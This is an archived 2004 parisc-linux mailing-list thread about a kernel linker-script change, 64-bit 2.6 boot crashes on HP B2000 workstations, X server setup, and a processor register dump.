+++ arch/parisc/kernel/vmlinux.lds.S    5 Feb 2004 06:47:22 -0000
@@ -58,16 +58,17 @@ SECTIONS

   _etext = .;                  /* End of text section */

+  RODATA
+
+  /* writeable */
+  data_start = .;
+
   . = ALIGN(16);               /* Exception table */
   __start___ex_table = .;
   __ex_table : { *(__ex_table) }
   __stop___ex_table = .;

-  RODATA

From - Thu Nov 08 21:30:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@steeleye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [parisc-linux-cvs] linux-2.6 jejb
Date: 05 Feb 2004 10:19:53 -0500
Lines: 23
Approved: news@gmane.org
Message-ID: <1075994394.2130.13.camel@mulgrave>
References: <20040204182455.1CC11494191@palinux.hppa> 
	<20040205092028.GM959@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623176 5418 80.91.229.3 (22 Nov 2014 02:26:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:26:16 +0000 (UTC)
Cc: PARISC list <parisc-linux@lists.parisc-linux.org>
To: Randolph Chung <randolph@tausq.org>
Original-X-From: James.Bottomley@SteelEye.com  Thu Feb  5 08:20:17 2004
Return-Path: <James.Bottomley@SteelEye.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hancock.sc.steeleye.com (stat1.steeleye.com [65.114.3.130])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1CBC8489B
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  5 Feb 2004 08:20:17 -0700 (MST)
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/linuxconf) with ESMTP id
	i15FK1a01551; Thu, 5 Feb 2004 10:20:01 -0500
In-Reply-To: <20040205092028.GM959@tausq.org>
X-Mailer: Ximian Evolution 1.0.8 (1.0.8-9) 
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Thu, 05 Feb 2004 15:20:17 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20785

On Thu, 2004-02-05 at 04:20, Randolph Chung wrote:
> > Modified files:
> > 	arch/parisc/kernel: vmlinux.lds.S 
> > 	include/asm-parisc: uaccess.h 
> > 
> > Log message:
> > Make the exception table writeable (so it can actually be sorted)
> > and discard the interpreter section
> 
> jejb, this doesn't work for me..... in arch/parisc/mm/init.c we mark
> everything from _stext to data_start as read-only, so i think we need
> something like this:

OK, silly me for thinking we'd actually use the protection designation
in the ELF headers...

So with this patch it now all works?

James





From - Thu Nov 08 21:30:52 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] RE: [parisc-linux-cvs] linux-2.6 jejb
Date: Thu, 5 Feb 2004 16:29:34 +0100
Lines: 44
Approved: news@gmane.org
Message-ID: <40153061000092CC@ocpmta1.freegates.net>
References: <20040204182455.1CC11494191@palinux.hppa>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623177 5421 80.91.229.3 (22 Nov 2014 02:26:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:26:17 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org,
	"James Bottomley" <James.Bottomley@steeleye.com>
Original-X-From: soete.joel@tiscali.be  Thu Feb  5 08:29:37 2004
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout1.tiscali.be (cpout1.tiscali.be [62.235.13.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5EACC489B
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  5 Feb 2004 08:29:37 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout1.tiscali.be with esmtp (Tiscali) 
	id 1AolRf-0001R2-00; Thu, 05 Feb 2004 16:29:35 +0100
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP;
	Thu, 5 Feb 2004 16:29:34 +0100
In-Reply-To: <20040204182455.1CC11494191@palinux.hppa>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Thu, 05 Feb 2004 15:29:37 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20786

Hi James,

>-- Original Message --
>To: parisc-linux-cvs@lists.parisc-linux.org
>Date: Wed,  4 Feb 2004 11:24:55 -0700 (MST)
>From: jejb@parisc-linux.org (James Bottomley)
>Reply-To: parisc-linux@lists.parisc-linux.org
>Subject: [parisc-linux-cvs] linux-2.6 jejb
>
>
>CVSROOT:	/var/cvs
>Module name:	linux-2.6
>Changes by:	jejb	04/02/04 11:24:55
>
>Modified files:
>	arch/parisc/kernel: vmlinux.lds.S 
>	include/asm-parisc: uaccess.h 
>
>Log message:
>Make the exception table writeable (so it can actually be sorted)
>and discard the interpreter section

Unfortunately it doesn't help for the pb of 2.6.[12] running 64bits on b2k
as decribe in a early mail (<http://lists.parisc-linux.org/pipermail/parisc-linux/2004-January/022238.html>)
I always have to revert the mentioned patch to make it works??

I sure it is just a work around but I haven't enough knowledge (sorry) to
fix it.

I already test another patch which Randolph suggest me (<http://lists.parisc-linux.org/pipermail/parisc-linux/2004-February/022259.html>)
but it doesn't work?

Any idea?

Thanks in advance for your attention,
    Joel

-------------------------------------------------------------------------
Tiscali ADSL: 12 mois  29,50 /mois! L'Internet rapide, c'est pour tout
le monde.
http://reg.tiscali.be/default.asp?lg=fr




From - Thu Nov 08 21:30:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: bame@hp.com
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Kernel 2.6 autobuilds discontinued
Date: Thu, 05 Feb 2004 09:31:40 -0700
Lines: 10
Approved: news@gmane.org
Message-ID: <20040205163141.B5ECE7381B@fc.hp.com>
References: <20040204182036.B9F9973819@fc.hp.com>
Reply-To: bame@hp.com
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416623177 5425 80.91.229.3 (22 Nov 2014 02:26:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:26:17 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: bame@hp.com  Thu Feb  5 09:31:43 2004
Return-Path: <bame@hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from atlrel8.hp.com (atlrel8.hp.com [156.153.255.206])
	by dsl2.external.hp.com (Postfix) with ESMTP id E7AE9489B
	for <parisc-linux@parisc-linux.org>;
	Thu,  5 Feb 2004 09:31:42 -0700 (MST)
Original-Received: from smtp2.fc.hp.com (smtp.fc.hp.com [15.15.136.253])
	by atlrel8.hp.com (Postfix) with ESMTP id 82E6A1C01199
	for <parisc-linux@parisc-linux.org>;
	Thu,  5 Feb 2004 11:31:42 -0500 (EST)
Original-Received: from ldl.fc.hp.com (ldl.fc.hp.com [15.11.146.30])
	by smtp2.fc.hp.com (Postfix) with ESMTP id 0B9DE245ED
	for <parisc-linux@parisc-linux.org>;
	Thu,  5 Feb 2004 09:31:42 -0700 (MST)
Original-Received: from fc.hp.com (paul.bame [10.66.2.7])
	by ldl.fc.hp.com (Postfix) with ESMTP id CDE4A1340A2
	for <parisc-linux@parisc-linux.org>;
	Thu,  5 Feb 2004 09:31:41 -0700 (MST)
Original-Received: by fc.hp.com (Postfix, from userid 16602)
	id B5ECE7381B; Thu,  5 Feb 2004 09:31:41 -0700 (MST)
Original-Received: from paul.bame (localhost [127.0.0.1])
	by fc.hp.com (Postfix) with ESMTP id AF9F162ADD
	for <parisc-linux@parisc-linux.org>;
	Thu,  5 Feb 2004 09:31:41 -0700 (MST)
Errors-To: bame@hp.com
In-Reply-To: Message from bame@hp.com of "Wed,
	04 Feb 2004 11:20:35 MST." <20040204182036.B9F9973819@fc.hp.com> 
Original-Sender: bame@hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Thu, 05 Feb 2004 16:31:43 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20787

> 
> Kernel autobuilds for 2.6 at http://cvs.parisc-linux.org/download/linux-2.6/
> have been discontinued.  Patch creation will continue as usual.

Thanks to the hard work of Carlos and Randolph, it is now possible to
build 64-bit 2.6 kernels on woody.  Autobuilds are back, and now include
A500 and C3000 (32 bit).

	-P


From - Thu Nov 08 21:30:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] RE: [parisc-linux-cvs] linux-2.6 jejb
Date: Thu, 5 Feb 2004 12:31:22 -0800
Lines: 13
Approved: news@gmane.org
Message-ID: <20040205203122.GP959@tausq.org>
References: <20040204182455.1CC11494191@palinux.hppa>
	<40153061000092CC@ocpmta1.freegates.net>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623177 5429 80.91.229.3 (22 Nov 2014 02:26:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:26:17 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@steeleye.com>,
	parisc-linux@lists.parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: randolph@tausq.org  Thu Feb  5 10:54:09 2004
Return-Path: <randolph@tausq.org>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id 09BCC489B
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  5 Feb 2004 10:54:09 -0700 (MST)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 86D66CD28A; Thu,  5 Feb 2004 12:31:22 -0800 (PST)
Content-Disposition: inline
In-Reply-To: <40153061000092CC@ocpmta1.freegates.net>
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.5.1+cvs20040105i
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Thu, 05 Feb 2004 17:54:09 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20788

Joel, can you try the kernel at http://www.tausq.org/joel/vmlinux ? It
boots on my c3k and bame's b2k. If it works for you then pls check the 
config in the same directory and see if you can figure out which 
option is causing the crash.....

btw, I assume you are building with gcc-3.0.4?

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:30:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] RE: [parisc-linux-cvs] linux-2.6 jejb
Date: Thu, 5 Feb 2004 19:49:57 +0100
Lines: 28
Approved: news@gmane.org
Message-ID: <40153061000094F9@ocpmta1.freegates.net>
References: <20040205203122.GP959@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623178 5431 80.91.229.3 (22 Nov 2014 02:26:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:26:18 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@steeleye.com>,
	parisc-linux@lists.parisc-linux.org
To: "Randolph Chung" <randolph@tausq.org>
Original-X-From: soete.joel@tiscali.be  Thu Feb  5 11:50:03 2004
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout1.tiscali.be (cpout1.tiscali.be [62.235.13.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6BFD6489B
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  5 Feb 2004 11:50:03 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout1.tiscali.be with esmtp (Tiscali) 
	id 1AooZa-0006ru-00; Thu, 05 Feb 2004 19:49:58 +0100
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP;
	Thu, 5 Feb 2004 19:49:57 +0100
In-Reply-To: <20040205203122.GP959@tausq.org>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Thu, 05 Feb 2004 18:50:03 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20789


Hi Randolph

>Joel, can you try the kernel at http://www.tausq.org/joel/vmlinux ? It
>boots on my c3k and bame's b2k. If it works for you then pls check the 
>config in the same directory and see if you can figure out which 
>option is causing the crash.....

Thanks for your attention but it doesn't help: same behaviour (hpmc very
early) :(

> btw, I assume you are building with gcc-3.0.4?

Doesn't matter which compiler I used gcc-3.0.4 or very last toolchain with
last Carlos patch for gcc and glibc.

I am just curious to know the amount of memory on the Paul's b2k?

Thanks again for your attention and help,
    Joel

-------------------------------------------------------------------------
Tiscali ADSL: 12 mois  29,50 /mois! L'Internet rapide, c'est pour tout
le monde.
http://reg.tiscali.be/default.asp?lg=fr




From - Thu Nov 08 21:30:52 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Install GNOME on 712/80
Date: Fri, 6 Feb 2004 00:07:27 +0100
Lines: 37
Approved: news@gmane.org
Message-ID: <200402060007.27911.deller__8227.12561716816$1416623178$gmane$org@gmx.de>
References: <02d601c3ebef$e3241650$8100a8c0@punk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-15"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623178 5434 80.91.229.3 (22 Nov 2014 02:26:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:26:18 +0000 (UTC)
Cc: Jens Simmoleit <simmel@anymotion.de>, debian-hppa@lists.debian.org
To: parisc-linux@lists.parisc-linux.org
Original-X-From: deller@gmx.de  Thu Feb  5 16:07:41 2004
Return-Path: <deller@gmx.de>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.gmx.net (mail.gmx.de [213.165.64.20])
	by dsl2.external.hp.com (Postfix) with SMTP id 8042E487A
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  5 Feb 2004 16:07:40 -0700 (MST)
Original-Received: (qmail 32210 invoked by uid 65534); 5 Feb 2004 23:07:28 -0000
Original-Received: from pD9040211.dip.t-dialin.net (EHLO p100) (217.4.2.17)
	by mail.gmx.net (mp022) with SMTP; 06 Feb 2004 00:07:28 +0100
X-Authenticated: #1045983
User-Agent: KMail/1.6.50
In-Reply-To: <02d601c3ebef$e3241650$8100a8c0@punk>
Content-Disposition: inline
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Thu, 05 Feb 2004 23:07:41 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20790

On Thursday 05 February 2004 14:56, Jens Simmoleit wrote:
> My question would be, which packages do I need to succesfully install and run GNOME (and only Gnome) on my system? 

No idea. I use KDE.

> In addition to that, where and how must the xserver or gnome or whatever be configured to make it run properly?
> ....
> (II) FBDev(0): using default device
> (II) Running in FRAMEBUFFER Mode
> (**) FBDev(0): Depth 24, (--) framebuffer bpp 32
> (==) FBDev(0): RGB weight 888
> (==) FBDev(0): Default visual is TrueColor
> (==) FBDev(0): Using gamma correction (1.0, 1.0, 1.0)
> (II) FBDev(0): Hardware:  (vidmem: 2048k)
> (II) FBDev(0): Checking Modes against framebuffer device...
> (II) FBDev(0):  mode "1280x1024" ok
> (II) FBDev(0):  mode "1024x768" ok
> (II) FBDev(0):  mode "800x600" ok
> (II) FBDev(0): Checking Modes against monitor...
> (--) FBDev(0): Virtual size is 1280x1024 (pitch 1280)
> (**) FBDev(0): Default mode "800x600": 36.0 MHz (scaled from 0.0 MHz), 35.2
> kHz, 56.2 Hz
> (II) FBDev(0): Modeline "800x600"   36.00  800 824 896 1024  600 601 603 625
> +hsync +vsync
> (==) FBDev(0): DPI set to (75, 75)
> (**) FBDev(0): Using "Shadow Framebuffer"
> (--) Depth 24 pixmap format is 32 bpp
> Fatal server error:
> AddScreen/ScreenInit failed for driver 0

Look at the dmesg kernel log and search for a line which starts with "stifb:".
There you will see the only resolution & bpp color depth which your card
currently supports and then verify your /etc/X11/XFree86.config file to only 
have exactly those values enabled. After that change X11 should start up....

Helge


From - Thu Nov 08 21:30:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] RE: [parisc-linux-cvs] linux-2.6 jejb
Date: Fri, 6 Feb 2004 08:31:47 +0100
Lines: 199
Approved: news@gmane.org
Message-ID: <40218AE200000F67@ocpmta2.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623178 5436 80.91.229.3 (22 Nov 2014 02:26:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:26:18 +0000 (UTC)
Cc: Randolph Chung <randolph@tausq.org>, parisc-linux@lists.parisc-linux.org
To: bame@hp.com
Original-X-From: soete.joel@tiscali.be  Fri Feb  6 00:32:09 2004
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout1.tiscali.be (cpout1.tiscali.be [62.235.13.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 207A64843
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  6 Feb 2004 00:32:09 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout1.tiscali.be with esmtp (Tiscali) 
	id 1Ap0Sq-00055A-00; Fri, 06 Feb 2004 08:31:48 +0100
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP;
	Fri, 6 Feb 2004 08:31:47 +0100
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 06 Feb 2004 07:32:09 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20791

Hi Paul,
>>
>> I am just curious to know the amount of memory on the Paul's b2k?
>>
>
>Mem:    505596k total

I only have 256Mb.

That was also a difference with c3k but here it is the only difference between
our b2k systems. Unfortunately I don't have any spare part to increase my
ram :(

Just in case Randolph has the opportunity to check the piminfo:

PROCESSOR PIM INFORMATION

-----------------  Processor 0 HPMC Information ------------------

Timestamp = 
  Fri Feb  6 07:20:26 GMT 2004    (20:04:02:06:07:20:26)

HPMC Chassis Codes = 2cbf0  2500b  2cbf5  2cbfc  

General Registers 0 - 31
00-03   0000000000000000  000000001043e000  00000000000600d0  fffffff0f0000018
04-07   0000000000438000  0000000000439000  00000000fffffff0  00000000f0002f68
08-11   0000000000000027  00000000f0072848  000000000fff0000  000000001052c538
12-15   0000000000000000  00000000ffffffff  0000000000000000  00000000f0400004
16-19   00000000f00008c4  00000000f000017c  00000000f0000174  0000000000000000
20-23   0000000000000000  00000000fee003f8  00000000fee003fd  0000000000000000
24-27   0000000000000000  0000000000065e38  0000000000065e38  0000000000065e34
28-31   0000000000100000  0000000f4c7a3298  00000000004dc100  0000000000000060

Control Registers 0 - 31
00-03   0000000000000000  0000000000000000  0000000000000000  0000000000000000
04-07   0000000000000000  0000000000000000  0000000000000000  0000000000000000
08-11   0000000000000000  0000000000000000  0000000000000000  000000000000001f
12-15   0000000000000000  0000000000000000  0000000000000000  0000000000000000
16-19   0000000f4e0c5fee  0000000000000000  00000000001000e0  00000000702b0b30
20-23   0000000014340041  000000000f83e598  0000000000000008  0000000080000000
24-27   0000000000438000  0000000000438000  000000005fd50d56  000000007fdfdf2f
28-31   00000000ffbeffbe  00000000bfeb37dc  00000000104dc000  00000000104e0000
Space Registers 0 - 7

00-03   00000000          00000000          00000000          00000000
04-07   00000000          00000000          00000000          00000000

IIA Space                    = 0x0000000000000000
IIA Offset                   = 0x00000000001000e4
Check Type                   = 0x20000000
CPU State                    = 0x9e000004
Cache Check                  = 0x00000000
TLB Check                    = 0x00000000
Bus Check                    = 0x003010bb
Assists Check                = 0x00000000
Assist State                 = 0x00000000
Path Info                    = 0x00031800
System Responder Address     = 0xfffffffffed10200
System Requestor Address     = 0xfffffffffffa0000

Floating-Point Registers 0 - 31
00-03   0000001f00000000  ffffffffffffffff  ffffffffffffffff  ffffffffffffffff
04-07   00003d09ffffffff  00000078ffffffff  00000000001c9c38  ddffffffffffffff
08-11   ffffffffffffffff  bfffffffffffffff  ffffffffffffffff  ffffffffffffffff
12-15   ffffffffffffffff  ffffffffffffffff  ffffffffffffffff  ffffbfefffffffef
16-19   ffffffffffffffff  ffffffffffffffff  ffffffffffffffff  ffffffffffffffff
20-23   ffffffffffffffff  fbfffffffffffdff  ffffffffffffffff  ffffff7fffffffff
24-27   ffffffffffffffff  ffffffffffffffbf  ffffffffffffffff  ffffffffffffffff
28-31   ffffffffffffffff  dfffffffffffffff  ffffffffffffffff  ffffffffffffffff


'9000/785 B,C,J Workstation Unarchitected (per-CPU)', rev 1, 140 bytes:

Check Summary                = 0xcb81041000000000
Available Memory             = 0x0000000010000000
CPU Diagnose Register 2      = 0x0301000000802204
CPU Status Register 0        = 0x2420c20000000000
CPU Status Register 1        = 0x8080000000000000
SADD LOG                     = 0xf813ec001043e598
Read Short LOG               = 0xc18040fffee003fd
ERROR_STATUS                 = 0x0000000000000010
MEM_ADDR                     = 0x000001ff3fffffff
MEM_SYND                     = 0x0000000000000000
MEM_ADDR_CORR                = 0x000001ff3fffffff
MEM_SYND_CORR                = 0x0000000000000000
RUN_DATA_HIGH                = 0xc1bff0fffed08040
RUN_DATA_LOW                 = 0xc1bff0fffed08040
RUN_CTRL                     = 0x0000021c00001418
RUN_ADDR                     = 0xc1bff0fffed08040
System Responder Path        = 0x00ffffffffffffff


HPMC PIM Analysis Information:

Timestamp = 
  Fri Feb  6 07:20:26 GMT 2004    (20:04:02:06:07:20:26)


'9000/785 B,C,J Workstation HPMC PIM Analysis (per-CPU)', rev 0, 1304 bytes:

A Data Miss Timeout occurred while CPU 0 was
requesting information.


Memory/IO Controller Error Analysis Information:

The Memory/IO Controller only observed the Broadcast Error.  It did not log
any additional information about the HPMC.

-----------------  Processor 0 LPMC Information ------------------

Check Type                   = 0x00000000
I/D Cache Parity Info        = 0x00000000
Cache Check                  = 0x00000000
TLB Check                    = 0x00000000
Bus Check                    = 0x00000000
Assists Check                = 0x00000000
Assist State                 = 0x00000000
Path Info                    = 0x00000000
System Responder Address     = 0x0000000000000000
System Requestor Address     = 0x0000000000000000


-----------------  Processor 0 TOC Information -------------------

General Registers 0 - 31
00-03   0000000000000000  fffffff0f009d000  000000f0f000b618  00000000000f4240
04-07   0000000c6d9b6071  0000000000000004  0ffffff0f0408aa8  0000000000000002
08-11   00fffff000408ab0  00000000f0072848  000000000fff0000  00000000104f04d0
12-15   0000000000000000  00000000ffffffff  0000000000000000  00000000f0400004
16-19   00000000f00008c4  00000000f000017c  00000000f0000174  fffffff0f007ee38
20-23   fffffff0f05f0068  0000000000000004  0000000000000009  fffffff0f003d428
24-27   0000000013cf8409  000000003d090000  0000000017d78400  fffffff0f0412000
28-31   0000000017d78400  0000000000000008  fffffff0f0408d68  fffffff0f007eff8

Control Registers 0 - 31
00-03   0000000000000000  0000000000000000  0000000000000000  0000000000000000
04-07   0000000000000000  0000000000000000  0000000000000000  0000000000000000
08-11   0000000000000000  0000000000000000  0000960000009600  0000000000000005
12-15   0000000000000000  0000000000000000  000000f0f0003800  0000000000000000
16-19   0000000c816e9083  00000000000000f0  000000f0f000b628  00000000020008b8
20-23   000000009a37c3c1  c000000002008d10  000000ff08098f08  8000000000000000
24-27   000000000042c000  000000000042c000  00000000fffffff7  00000000fffffff7
28-31   00000000fffffff7  00000000fffffff7  0000000010495880  000000001049a000
Space Registers 0 - 7

00-03   00000000          00000000          00000000          00000000
04-07   00000000          00000000          00000000          00000000

IIA Space                    = 0x00000000000000f0
